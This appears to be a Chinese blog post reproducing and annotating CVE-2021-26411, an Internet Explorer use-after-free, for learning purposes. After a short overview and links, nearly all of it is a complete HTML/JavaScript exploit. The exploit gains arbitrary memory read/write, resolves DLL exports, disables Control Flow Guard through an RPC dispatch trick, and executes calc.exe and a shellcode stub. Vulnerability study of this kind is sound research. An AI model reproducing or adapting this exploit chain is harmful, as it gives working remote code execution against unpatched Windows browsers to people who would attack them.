CVE-2021-26411复现,学习JavaScript之POC源码分析
概述
CVE-2021-26411,该漏洞的原因:removeAttributeNode()
触发属性对象nodeValue的valueOf回调,回调期间手动调用clearAttributes()
,导致nodeValue保存的BSTR被提前释放。回调返回后,没有检查nodeValue是否存在继续使用该对象,最终导致UAF(Use After Free)。
参考分析链接
国内链接
CVE-2021-26411在野样本中利用RPC绕过CFG缓解技术的研究 (qq.com)
IE浏览器在野0Day CVE-2021-26411漏洞分析 (qq.com)
原作者链接
https://enki.co.kr/blog/2021/02/04/ie_0day.html
平台环境
Win10 1809 17763
VmWare 16.1.1 build-17801498
复现效果展示
POC源码分析
<!-- IE Double Free 1Day Poc -->
<!doctype html>
<html lang="zh-cmn-Hans">
<head>
<meta http-equiv="Cache-Control" content="no-cache">
</head>
<body>
<script language="javascript">
// 重复字符串
String.prototype.repeat = function (size) { return new Array(size + 1).join(this) }
function pad0(str) {
// 提取倒数第四个字符开始的字符串,效果就是补0
return ('0000' + str).slice(-4)
}
// Access of Resource Using Incompatible Type ('Type Confusion')
function alloc1() {
// DataView 视图是一个可以从 二进制ArrayBuffer 对象中读写多种数值类型的底层接口,使用它时,不用考虑不同平台的字节序问题。
var view = new DataView(abf)
var str = ''
for (var i = 4; i < abf.byteLength - 2; i += 2)
str += '%u' + pad0(view.getUint16(i, true).toString(16))
// 创建并返回一个新的属性节点
var result = document.createAttribute('alloc')
// 对escape()编码的字符串进行解码
result.nodeValue = unescape(str)
return result
}
function alloc2() {
// 创建字典对象
var dic1 = new ActiveXObject('Scripting.Dictionary')
var dic2 = new ActiveXObject('Scripting.Dictionary')
// 增加新项,dic.add(key,value)
dic2.add(0, 1)
dic1.add(0, dic2.items())
dic1.add(1, fake)
dic1.add(2, arr)
for (i = 3; i < 0x20010 / 0x10; ++i)
dic1.add(i, 0x12341234)
return dic1.items()
}
function dump(nv) {
// ArrayBuffer 对象用来表示通用的、固定长度的原始二进制数据缓冲区。
// 创建一个0x20010字节的缓冲区,并使用一个 DataView 来引用它
var ab = new ArrayBuffer(0x20010)
var view = new DataView(ab)
for (var i = 0; i < nv.length; ++i)
view.setUint16(i * 2 + 4, nv.charCodeAt(i), true)
return ab
}
// 在原型对象上定义属性
function Data(type, value) {
this.type = type
this.value = value
}
function setData(i, data) {
var arr = new Uint32Array(abf)
arr[i * 4] = data.type
arr[i * 4 + 2] = data.value
}
function flush() {
hd1.nodeValue = (new alloc1()).nodeValue
hd2.nodeValue = 0
// 返回调用该方法的节点的一个副本.
hd2 = hd1.cloneNode()
}
// 小端序读取
function read(addr, size) {
switch (size) {
case 8:
return god.getUint8(addr)
case 16:
// getUint16(byteOffset [, littleEndian])
return god.getUint16(addr, true)
case 32:
return god.getUint32(addr, true)
}
}
function write(addr, value, size) {
switch (size) {
case 8:
return god.setUint8(addr, value)
case 16:
return god.setUint16(addr, value, true)
case 32:
return god.setUint32(addr, value, true)
}
}
function writeData(addr, data) {
for (var i = 0; i < data.length; ++i)
write(addr + i, data[i], 8)
}
function addrOf(obj) {
arr[0] = obj
return read(pArr, 32)
}
function strcmp(str1, str2) {
// typeof 操作符返回一个字符串,表示未经计算的操作数的类型。
str1 = (typeof str1 == 'string') ? str1 : toStr(str1)
str2 = (typeof str2 == 'string') ? str2 : toStr(str2)
return str1.toLowerCase() == str2.toLowerCase()
}
function memcpy(dst, src, size) {
for (var i = 0; i < size; ++i)
write(dst + i, read(src + i, 8), 8)
}
function toStr(addr) {
var str = ''
while (true) {
var c = read(addr, 8)
// 遇到终结符就退出循环
if (c == 0) break
// 返回由指定的 UTF-16 代码单元序列创建的字符串
str += String.fromCharCode(c)
addr++
}
return str
}
function newStr(str) {
var buffer = createArrayBuffer(str.length + 1)
for (var i = 0; i < str.length; ++i) write(buffer + i, str.charCodeAt(i), 8)
// 写入字符串终结符
write(buffer + i, 0, 8)
return buffer
}
// PE文件相关操作函数
function getDllBase(base, name) {
var tmpValue = 0
var index = 0
var iat = base + read(base + read(base + 60, 32) + 128, 32)
while (true) {
var offset = read(iat + index * 20 + 12, 32)
if (strcmp(base + offset, name)) break
index++
}
var addr = read(iat + index * 20 + 16, 32)
return getBase(read(base + addr, 32))
}
function getBase(addr) {
var addr = addr & 0xffff0000
while (true) {
if (isMZ(addr) && isPE(addr)) break
addr -= 0x10000
}
return addr
}
function isMZ(addr) {
return read(addr, 16) == 0x5a4d
}
function isPE(addr) {
var sizeOfHeaders = read(addr + 60, 32)
if (sizeOfHeaders > 0x600) return null
var addr = addr + sizeOfHeaders
if (read(addr, 32) != 0x4550) return null
return addr
}
function winVer() {
// 返回浏览器的平台和版本信息
var appVersion = window.navigator.appVersion
var ver = 0
// 检测一个字符串是否匹配某个模式,javaScript正则表达式
if (/(Windows 10.0|Windows NT 10.0)/.test(appVersion)) {
ver = 100
} else if (/(Windows 8.1|Windows NT 6.3)/.test(appVersion)) {
ver = 81
} else if (/(Windows 8|Windows NT 6.2)/.test(appVersion)) {
ver = 80
} else {
ver = 70
}
return ver
}
function createArrayBuffer(size) {
var ab = new ArrayBuffer(size)
var bs = read(addrOf(ab) + 0x1c, 32)
// 设置键值对
map.set(bs, ab)
return bs
}
function getProcAddr(addr, name) {
var eat = addr + read(addr + read(addr + 0x3c, 32) + 0x78, 32)
var non = read(eat + 0x18, 32)
var aof = addr + read(eat + 0x1c, 32)
var aon = addr + read(eat + 0x20, 32)
var aono = addr + read(eat + 0x24, 32)
for (var i = 0; i < non; ++i) {
var offset = read(aon + i * 4, 32)
if (strcmp(addr + offset, name)) break
}
var offset = read(aono + i * 2, 16)
return addr + read(aof + offset * 4, 32)
}
function readyRpcCall(func) {
var PRPC_CLIENT_INTERFACE_Buffer = _RPC_MESSAGE.get(msg, 'RpcInterfaceInformation')
var _MIDL_SERVER_INFO_Buffer = PRPC_CLIENT_INTERFACE.get(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo')
var RPC_DISPATCH_TABLE_Buffer = _MIDL_SERVER_INFO_.get(_MIDL_SERVER_INFO_Buffer, 'DispatchTable')
write(RPC_DISPATCH_TABLE_Buffer, func, 32)
}
function setArgs(args) {
var buffer = createArrayBuffer(48)
for (var i = 0; i < args.length; ++i) {
write(buffer + i * 4, args[i], 32)
}
_RPC_MESSAGE.set(msg, 'Buffer', buffer)
_RPC_MESSAGE.set(msg, 'BufferLength', 48)
_RPC_MESSAGE.set(msg, 'RpcFlags', 0x1000)
return buffer
}
function callRpcFreeBufferImpl() {
var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
_RPC_MESSAGE.set(rpcFree, 'Buffer', buffer)
return call(rpcFree)
}
function callRpcFreeBuffer() {
var buffer = _RPC_MESSAGE.get(msg, 'Buffer')
var result = read(buffer, 32)
callRpcFreeBufferImpl()
return result
}
function call2(func, args) {
readyRpcCall(func)
var buffer = setArgs(args)
call(msg)
map.delete(buffer)
return callRpcFreeBuffer()
}
function call(addr) {
var result = 0
write(paoi + 0x18, addr, 32)
// 错误处理
try {
// rpcrt4!NdrServerCall2
xyz.normalize()
} catch (error) {
result = error.number
}
write(paoi + 0x18, patt, 32)
return result
}
function prepareCall(addr, func) {
var buf = createArrayBuffer(cattr.size())
var vft = read(patt, 32)
memcpy(addr, patt, cbase.size())
memcpy(buf, vft, cattr.size())
cbase.set(addr, 'pvftable', buf)
cattr.set(buf, 'normalize', func)
}
function createBase() {
var isWin7 = winVer() == 70
var size = isWin7 ? 560 : 572
var offset = isWin7 ? 540 : 548
var addr1 = createArrayBuffer(size + cbase.size())
var addr2 = createArrayBuffer(48)
write(addr1 + offset, addr2, 32)
write(addr2 + 40, 8, 32)
write(addr2 + 36, 8, 32)
return {
size: size,
addr: addr1
}
}
function aos() {
var baseObj = createBase()
var addr = baseObj.addr + baseObj.size
var I_RpcTransServerNewConnection = getProcAddr(rpcrt4, 'I_RpcTransServerNewConnection')
prepareCall(addr, I_RpcTransServerNewConnection)
return read(read(call(addr)-0xf8, 32), 32)
}
// 自定义结构体的操作
function SymTab(size, sym) {
this.size = function() {
return size
}
this.set = function(addr, name, value) {
var o = sym[name]
write(addr + o.offset, value, o.size)
}
this.get = function(addr, name) {
var o = sym[name]
return read(addr + o.offset, o.size)
}
}
// 构造RPC
function initRpc() {
var data = [50,72,0,0,0,0,0,0,52,0,192,0,16,0,68,13,10,1,0,0,0,0,0,0,0,0,72,0,0,0,9,0,72,0,4,0,9,0,72,0,8,0,9,0,72,0,12,0,9,0,72,0,16,0,9,0,72,0,20,0,9,0,72,0,24,0,9,0,72,0,28,0,9,0,72,0,32,0,9,0,72,0,36,0,9,0,72,0,40,0,9,0,72,0,44,0,9,0,112,0,48,0,9,0,0]
var NdrServerCall2 = getProcAddr(rpcrt4, 'NdrServerCall2')
var NdrOleAllocate = getProcAddr(rpcrt4, 'NdrOleAllocate')
var NdrOleFree = getProcAddr(rpcrt4, 'NdrOleFree')
var RPCMessageObject = createArrayBuffer(cbase.size())
var buffer = createArrayBuffer(0x100)
var buffer2 = createArrayBuffer(0x200)
var AttributeVtable = read(patt, 32)
var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
var TransferSyntaxBuffer = createArrayBuffer(syntaxObject.size())
var PRPC_CLIENT_INTERFACE_Buffer = createArrayBuffer(PRPC_CLIENT_INTERFACE.size())
var _MIDL_SERVER_INFO_Buffer = createArrayBuffer(_MIDL_SERVER_INFO_.size())
var rpcProcStringBuffer = createArrayBuffer(data.length)
writeData(rpcProcStringBuffer, data)
var _MIDL_STUB_DESC_Buffer = createArrayBuffer(_MIDL_STUB_DESC.size())
var RPC_DISPATCH_TABLE_Buffer = createArrayBuffer(RPC_DISPATCH_TABLE.size())
var NdrServerCall2Buffer = createArrayBuffer(4)
write(NdrServerCall2Buffer, NdrServerCall2, 32)
write(MSHTMLSymbolBuffer, osf_vft, 32)
write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
write(MSHTMLSymbolBuffer + 8, 0x40, 32)
cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
cattr.set(MSHTMLSymbolBuffer, 'normalize', NdrServerCall2)
cbase.set(RPCMessageObject, 'pSecurityContext', RPCMessageObject + 68)
write(RPCMessageObject + 76, 1, 32)
syntaxObject.set(TransferSyntaxBuffer, 'SyntaxVersion.MajorVersion', 2)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnAllocate', NdrOleAllocate)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pfnFree', NdrOleFree)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'pFormatTypes', buffer2)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'fCheckBounds', 1)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'Version', 0x50002)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'MIDLVersion', 0x800025b)
_MIDL_STUB_DESC.set(_MIDL_STUB_DESC_Buffer, 'mFlags', 1)
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'pStubDesc', _MIDL_STUB_DESC_Buffer)
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'DispatchTable', createArrayBuffer(32))
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'ProcString', rpcProcStringBuffer)
_MIDL_SERVER_INFO_.set(_MIDL_SERVER_INFO_Buffer, 'FmtStringOffset', buffer2)
RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTableCount', 1)
RPC_DISPATCH_TABLE.set(RPC_DISPATCH_TABLE_Buffer, 'DispatchTable', NdrServerCall2Buffer)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'DispatchTable', RPC_DISPATCH_TABLE_Buffer)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterpreterInfo', _MIDL_SERVER_INFO_Buffer)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Length', PRPC_CLIENT_INTERFACE.size())
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'InterfaceId.SyntaxVersion.MajorVersion', 1)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'TransferSyntax.SyntaxVersion.MajorVersion', 2)
PRPC_CLIENT_INTERFACE.set(PRPC_CLIENT_INTERFACE_Buffer, 'Flags', 0x4000000)
_RPC_MESSAGE.set(RPCMessageObject, 'RpcInterfaceInformation', PRPC_CLIENT_INTERFACE_Buffer)
_RPC_MESSAGE.set(RPCMessageObject, 'TransferSyntax', TransferSyntaxBuffer)
_RPC_MESSAGE.set(RPCMessageObject, 'Handle', MSHTMLSymbolBuffer)
_RPC_MESSAGE.set(RPCMessageObject, 'DataRepresentation', 16)
_RPC_MESSAGE.set(RPCMessageObject, 'RpcFlags', 0x1000)
_RPC_MESSAGE.set(RPCMessageObject, 'Buffer', buffer)
_RPC_MESSAGE.set(RPCMessageObject, 'BufferLength', 48)
return RPCMessageObject
}
function rpcFree() {
var Cbase = createArrayBuffer(cbase.size())
var I_RpcFreeBuffer = getProcAddr(rpcrt4, 'I_RpcFreeBuffer')
var MSHTMLSymbolBuffer = createArrayBuffer(0x1000)
var AttributeVtable = read(patt, 32)
write(MSHTMLSymbolBuffer, osf_vft, 32)
write(MSHTMLSymbolBuffer + 4, 0x89abcdef, 32)
write(MSHTMLSymbolBuffer + 8, 64, 32)
cattr.set(MSHTMLSymbolBuffer, '__vtguard', cattr.get(AttributeVtable, '__vtguard'))
cattr.set(MSHTMLSymbolBuffer, 'SecurityContext', cattr.get(AttributeVtable, 'SecurityContext'))
cattr.set(MSHTMLSymbolBuffer, 'JSBind_InstanceOf', cattr.get(AttributeVtable, 'JSBind_InstanceOf'))
cattr.set(MSHTMLSymbolBuffer, 'JSBind_TypeId', cattr.get(AttributeVtable, 'JSBind_TypeId'))
cattr.set(MSHTMLSymbolBuffer, 'normalize', I_RpcFreeBuffer)
cbase.set(Cbase, 'pvftable', MSHTMLSymbolBuffer)
cbase.set(Cbase, 'pSecurityContext', Cbase + 68)
write(Cbase + 76, 1, 32)
return Cbase
}
function CFGObject(baseAddress) {
var PEAddr = isPE(baseAddress)
var eat = PEAddr + 120
var LOAD_CONFIG_DIRECTORY = baseAddress + read(eat + 0x50, 32)
var size = read(LOAD_CONFIG_DIRECTORY, 32)
var sizeOfImage = read(PEAddr + 0x50, 32)
var CFGSymbolTable = new SymTab(0x5c, {
'___guard_check_icall_fptr': {
offset: 72,
size: 32
}
})
var guard_check_icall_fptr_address = size < CFGSymbolTable.size() ? 0 : CFGSymbolTable.get(LOAD_CONFIG_DIRECTORY, '___guard_check_icall_fptr')
this.getCFGAddress = function() {
return guard_check_icall_fptr_address
}
this.getCFGValue = function() {
if (size < CFGSymbolTable.size()) return false
var currentCFGValue = read(guard_check_icall_fptr_address, 32)
var isValidAddress = (baseAddress < currentCFGValue) && (currentCFGValue < baseAddress + sizeOfImage)
return !isValidAddress;
}
}
function killCfg(addr) {
var cfgobj = new CFGObject(addr)
if (!cfgobj.getCFGValue()) return
var guard_check_icall_fptr_address = cfgobj.getCFGAddress()
var KiFastSystemCallRet = getProcAddr(ntdll, 'KiFastSystemCallRet')
var tmpBuffer = createArrayBuffer(4)
// 修改RPCRT4!__guard_check_icall_fptr的属性为PAGE_EXECUTE_READWRITE
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, 0x40, tmpBuffer])
// 替换rpcrt4!__guard_check_icall_fptr保存的指针,修改ntdll!LdrpValidateUserCallTarget为改为ntdll!KiFastSystemCallRet
// 关闭rpcrt4的CFG检查
write(guard_check_icall_fptr_address, KiFastSystemCallRet, 32)
// 恢复PRCRT4!__gurad_check_icall_fptr内存属性
call2(VirtualProtect, [guard_check_icall_fptr_address, 0x1000, read(tmpBuffer, 32), tmpBuffer])
map.delete(tmpBuffer)
}
// {} 表示对象
// 属性:属性值
var cbase = new SymTab(0x60, {
'pvftable': {
offset: 0x0,
size: 32
},
'pSecurityContext': {
offset: 0x44,
size: 32
}
})
var cattr = new SymTab(0x32c, {
'__vtguard': {
offset: 0x48,
size: 32
},
'SecurityContext': {
offset: 0xc8,
size: 32
},
'JSBind_TypeId': {
offset: 0x160,
size: 32
},
'JSBind_InstanceOf': {
offset: 0x164,
size: 32
},
'normalize': {
offset: 0x28c,
size: 32
}
})
var syntaxObject = new SymTab(0x14, {
'SyntaxVersion.MajorVersion': {
offset: 0x10,
size: 16
}
})
var PRPC_CLIENT_INTERFACE = new SymTab(0x44, {
'Length': {
offset: 0,
size: 32
},
'InterfaceId.SyntaxVersion.MajorVersion': {
offset: 20,
size: 16
},
'TransferSyntax.SyntaxVersion.MajorVersion': {
offset: 40,
size: 16
},
// 保存了runtime库和Stub函数的接口指针
'DispatchTable': {
offset: 44,
size: 32
},
// 指向MIDL_SERVER_INFO结构
'InterpreterInfo': {
offset: 60,
size: 32
},
'Flags': {
offset: 64,
size: 32
}
})
// 保存了服务端IDL接口信息
var _MIDL_SERVER_INFO_ = new SymTab(0x20, {
'pStubDesc': {
offset: 0,
size: 32
},
// 保存了服务端提供的远程调用例程的函数指针数组
'DispatchTable': {
offset: 4,
size: 32
},
'ProcString': {
offset: 8,
size: 32
},
'FmtStringOffset': {
offset: 12,
size: 32
}
})
var _MIDL_STUB_DESC = new SymTab(0x50, {
'RpcInterfaceInformation': {
offset: 0,
size: 32
},
'pfnAllocate': {
offset: 4,
size: 32
},
'pfnFree': {
offset: 8,
size: 32
},
'pFormatTypes': {
offset: 32,
size: 32
},
'fCheckBounds': {
offset: 36,
size: 32
},
'Version': {
offset: 40,
size: 32
},
'MIDLVersion': {
offset: 48,
size: 32
},
'mFlags': {
offset: 64,
size: 32
}
})
var RPC_DISPATCH_TABLE = new SymTab(12, {
'DispatchTableCount': {
offset: 0,
size: 32
},
'DispatchTable': {
offset: 4,
size: 32
},
})
var _RPC_MESSAGE = new SymTab(0x2c, {
'Handle': {
offset: 0,
size: 32
},
'DataRepresentation': {
offset: 4,
size: 32
},
// 存放函数的参数
'Buffer': {
offset: 8,
size: 32
},
'BufferLength': {
offset: 12,
size: 32
},
'TransferSyntax': {
offset: 20,
size: 32
},
// 指向RPC_SERVER_INTERFACE
'RpcInterfaceInformation': {
offset: 24,
size: 32
},
'RpcFlags': {
offset: 40,
size: 32
}
})
var god
// 对象数组
var arr = [{}]
var fake = new ArrayBuffer(0x100)
var abf = new ArrayBuffer(0x20010)
var alloc = alloc2()
// 创建一个HTML 属性对象
var hd0 = document.createAttribute('handle')
var hd1 = document.createAttribute('handle')
var hd2
// 创建一个HTML 元素对象
var ele = document.createElement('element')
var att = document.createAttribute('attribute')
att.nodeValue = {
valueOf: function() {
hd1.nodeValue = (new alloc1()).nodeValue
// 回调时,清除ele对象绑定的所有属性
ele.clearAttributes()
hd2 = hd1.cloneNode()
ele.setAttribute('attribute', 1337)
}
}
ele.setAttributeNode(att)
ele.setAttribute('attr', '0'.repeat((0x20010 - 6) / 2))
// 触发valueof函数回调
ele.removeAttributeNode(att)
hd0.nodeValue = alloc
var leak = new Uint32Array(dump(hd2.nodeValue))
var pAbf = leak[6]
var pArr = leak[10]
var VT_I4 = 0x3
var VT_DISPATCH = 0x9
var VT_BYREF = 0x4000
var bufArr = new Array(0x10)
var fakeArr = new Uint32Array(fake)
for (var i = 0; i < 0x10; ++i) setData(i + 1, new Data(VT_BYREF | VT_I4, pAbf + i * 4))
flush()
var ref = new VBArray(hd0.nodeValue)
for (var i = 0; i < 0x10; ++i) bufArr[i] = ref.getItem(i + 1)
ref = null
setData(1, new Data(VT_BYREF | VT_I4, bufArr[4]))
setData(2, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x04))
setData(3, new Data(VT_BYREF | VT_I4, bufArr[4] + 0x1c))
flush()
ref = new VBArray(hd0.nodeValue)
var vt = ref.getItem(1)
var gc = ref.getItem(2)
var bs = ref.getItem(3)
ref = null
for (var i = 0; i < 16; ++i) fakeArr[i] = bufArr[i]
fakeArr[4] = bs + 0x40
fakeArr[16] = vt
fakeArr[17] = gc
fakeArr[24] = 0xffffffff
setData(1, new Data(VT_DISPATCH, bs))
flush()
ref = new VBArray(hd0.nodeValue)
god = new DataView(ref.getItem(1))
ref = null
pArr = read(read(pArr + 0x10, 32) + 0x14, 32) + 0x10
write(read(addrOf(hd0) + 0x18, 32) + 0x28, 0, 32)
var map = new Map()
var jscript9 = getBase(read(addrOf(map), 32))
var rpcrt4 = getDllBase(jscript9, 'rpcrt4.dll')
var msvcrt = getDllBase(jscript9, 'msvcrt.dll')
var ntdll = getDllBase(msvcrt, 'ntdll.dll')
var kernelbase = getDllBase(msvcrt, 'kernelbase.dll')
var VirtualProtect = getProcAddr(kernelbase, 'VirtualProtect')
var LoadLibraryExA = getProcAddr(kernelbase, 'LoadLibraryExA')
var xyz = document.createAttribute('xyz')
var paoi = addrOf(xyz)
var patt = read(addrOf(xyz) + 0x18, 32)
var osf_vft = aos()
var msg = initRpc()
var rpcFree = rpcFree()
killCfg(rpcrt4)
// 调用API,弹出计算器
var kernel32 = call2(LoadLibraryExA,[newStr('kernel32.dll',0,1)])
var WinExec = getProcAddr(kernel32,'WinExec')
call2(WinExec,[newStr('calc.exe'),5])
// 调用shellcode
var shellcode = new Uint8Array([0xb8, 0x37, 0x13, 0x00, 0x00, 0xc3])
var msi = call2(LoadLibraryExA, [newStr('msi.dll'), 0, 1]) + 0x5000
var tmpBuffer = createArrayBuffer(4)
call2(VirtualProtect, [msi, shellcode.length, 0x4, tmpBuffer])
writeData(msi, shellcode) // mov eax, 0x1337 ; ret
call2(VirtualProtect, [msi, shellcode.length, read(tmpBuffer, 32), tmpBuffer])
var result = call2(msi, [])
// 根据shellocde的而反汇编结果,这里会弹出0x1337的对话框
alert(result.toString(16))
</script>
</body>
</html>